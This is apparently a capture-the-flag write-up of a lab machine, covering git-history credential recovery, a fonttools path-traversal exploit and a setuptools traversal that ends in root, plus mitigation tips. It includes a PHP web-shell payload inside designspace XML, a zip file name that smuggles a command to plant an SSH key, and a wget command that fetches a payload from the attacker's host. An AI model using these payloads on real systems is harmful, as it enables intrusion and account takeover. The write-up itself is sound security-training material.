Overview

The machine starts by Simple enumeration that discovers portal that has path traversal that lead to source code leak reading that source code revealed an attack vector combined with CVE with arbitrary files write after that found a vulnerable version of setuptools that lead to path traversal and wrote a root ssh key to get root shell

Enumeration

as always start with nmap

bash
Nmap scan report for 10.129.21.246
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2026-04-02 17:01:15 EET for 15s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGaryOd6/hnIT9XPtT08U3YwVShW2VnKYno4lQqs0BQ6ePwGDjLxPcQHcEiiKWd0/mvv39jxHUQAgt069vYV8ag=
| 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILtP5zMi+IdeNc7bOdDPDwFv+HWDAUakOFYbEIvNSp2z
80/tcp open  http    syn-ack ttl 63 nginx 1.22.1
| _http-server-header: nginx/1.22.1
| _http-title: Did not follow redirect to http://variatype.htb/
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

and we got only two ports open so lets see what we can do Screenshot 2026-04-02 170348.png this is a font generator that uses fonttools engine which is probably vulnerable to CVE-2025-66034 which is arbitrary file write and XML path traversal that can let us write files to the system

now font tools usually needs a dashboard to view and download your submissions after creation but when i tried to look for something like variatype.htb/dashboard.php or something it didn't work so I'm sure it is under some other subdomain or vhost so lets start our fuzzing Screenshot 2026-04-02 175542.png and we directly find it under portal so lets add those to our host files

plaintext
variatype.htb portal.variatype.htb 10.129.21.246

now by going to the portal and trying to enumerate usernames (it show neutral error message for username and password attempts) so lets try to enumerate that vhost and see what we can find Screenshot 2026-04-02 175650.png

bash
ffuf -u http://portal.variatype.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt

and we got git repo exposed Pasted image 20260404103306.png

Exposed git HEAD

so lets download this git repo and look what we can find Screenshot 2026-04-02 180412.png i use a tool called git-dumper the good about this tool that it fetches all objects recursively, analyzing each commits to find their parents so now lets see what we can find in that repo i always start by looking at the commit history and commit messages Screenshot 2026-04-02 180950.png now when i did that git log --oneline it didn't show anything interesting and that's because some time people use git reset for example which moves the branch pointer away from that commit, effectively orphaning it now to make sure we see all logs we either do git log --all or we read the logs/HEAD directly and when i did that i found that at some point there was some hardcoded credentials and got removed so lets get that commit hash 6f021da and got back to that commit

bash
git show 6f021da

and when i did that i got the creds Screenshot 2026-04-02 181022.png now lets login to the portal using those creds Screenshot 2026-04-02 181841.png and we get nothing cause we didn't generate any fonts yet so lets see what is the issue of that CVE with fonttools

one thing i didn't like about this machine that i had to guess that this tool is vulnerable and act on it kinda CTF-ish for me some other people don't mind it but i just wanted to note that

Path traversal

after giving it a sample .designspace and multiple ttf files it showed up on our dashboard and it got a download button this download button calls download.php?f=filename and when i attempted to path traversal it i could read the /etc/passwd file Screenshot 2026-04-02 182237.png now the attack path is clear to me

  1. we read download.php to find where are files stored before download
  2. we write a file using the CVE affecting fonttools maybe a web shell
  3. and then we get command execution using that shell

and we find the path at /var/www/portal.variatype.htb/public/filesScreenshot 2026-04-04 082944.png now lets try to write the file

CVE-2025-66034

Affected lines

python
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

lets just understand what does font-variable does?

  • it just takes multiple ttf files and a designspace file and get you a single font file instead of multiple ones

the advisory gives us this to create a sample ttf files (small ones) cause nginx caps the request to 1MB and some fonts are bigger than that

now lets look at the malicious.designspace from the advisory we got a filename that we use to control where the file will be written to, and the file content that we write using CDATA just to tell the XML to treat the characters like > as a plain characters

xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']);?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="/var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

now lets send this malicious with the sample ttf to the site and see what we can do and we get a 200 ok now lets call that file Screenshot 2026-04-04 090338.png the /files you could've guess on your own cause it just lies at public or i already found it when i was enumerating directories at the start so now we got a command execution so lets try to get a shell one thing that I'd like to try when there is some kind of file processing on the target is a file name command injection usually a tool does something for your using a file like this tool file so if you called the file something like this $(command) so it does tool $(command) we get a command execution in the context of the running tool

and why did i attempt that cause the shell we got was as www-data and when we looked earlier there is a home directory called steve so this is our target which isn't readable by www-data which makes sense now what if we can write an ssh key to that directory using the method we just discussed lets try that first i create ssh keys

plaintext
ssh-keygen -f steve

now i will inject that into the file name as a command to be executed and written to the home directory I will rely on zip but i will call the file .ttf to make sure it doesn't cause any error on processing cause it expects those type of files

python
import zipfile
pub_key = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHU9WaT7ZM03T9XQ8u5LtMW742UXCLay4NcFIEhKHzP8 jimmex@attacker"
evil_name = f'$(mkdir -p /home/steve/.ssh && echo "{pub_key}" >> /home/steve/.ssh/authorized_keys).ttf'

with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr(evil_name, 'data')

print("done")

then lets get an evil file python3 zip.py and we got that evil.zip now lets start an HTTP server on our machine python3 -m http.server 8000 and then lets get that evil.zip to the target

shell
curl http://portal.variatype.htb/files/shell.php?cmd='wget%20http://10.10.16.173:8000/evil.zip%20-O%20/var/www/portal.variatype.htb/public/files/evil.zip'

give it like 2 minutes until it gets processed (I'm sure that there is some kind of processing but i don't know with what or takes how long) so just wait and now when we try ssh -i steve steve@variatype.htb we get in Screenshot 2026-04-04 094853.png now we got steve and user.txt Pasted image 20260404114609.png now lets look around

Just a quick stop

when we logged in as steve we got all the puzzle pieces there is two different apps, php app for the portal and a python app for the /process now the uploaded files are placed at '/tmp/variabype_uploads' and the download path is /var/www/portal.variatype.htb/public/files and we need some kind of moving between those paths and if we looked at logs/font_pipeline at steve's home directory the app uses fontforge for processing then tries to move the files Pasted image 20260404115022.png and that's how we got the subcommand injection now back to our way to root

shell as root

as usual we start by sudo -l Pasted image 20260404115314.png and we can run this install-validator so lets look at its source code i will just remove the unrelated stuff

lets check first the setuptools version Pasted image 20260404122856.png and it is vulnerable to CVE-2025-47273

the issue with PackageIndex.download that it takes the file name this way

  • it decodes whatever after the first URL root /
  • and it names it that way

so if i created a file on my device under /root/something and then called the script on http://myip/%2Froot%2Fsomething the script will get this %2Froot%2Fsomething and it decodes it to /root/something and now when it tries to name the file that way it writes to the absolute path so we kinda replicating the last attack in a different way so lets create this dir /root/.ssh/authorized_keys generate a key ssh-keygen -f root and place the public key in the authorized_keys under the path we created in the last step now lets open an HTTP server (care where you will open it) we need the server to listen where the root directory exists not where the authorized_keys exist so when we call it, it writes to that path

don't add the authorized_keys to you actual root directory just put it in a new directory called root cause it might cause issues when we try to call it from our machine

so here is my structure Pasted image 20260404120653.png and lets run the script Pasted image 20260404120817.png now lets try to ssh Pasted image 20260404120844.png and we got root

Mitigation

  1. Never hardcode credentials in the source code and use .env.local files instead (this isn't perfect but they are so much better than hardcoded)
  2. if you did a commit that contains credentials use a repo cleaner to clean the history, use something like BFG so much easier than git filter-branch
  3. make sure you sanitize your user input at endpoint like download.php
  4. upgrade your fonttools to a non-vulnerable version
  5. also add the upload path files as env variables (safer) in case the source code got leaked somehow
  6. in the processing pipe-line make sure that the file is a valid type .ttf for example before you admit it as input for any CLI command
  7. upgrade to patched version from setuptools to prevent path traversal

Resources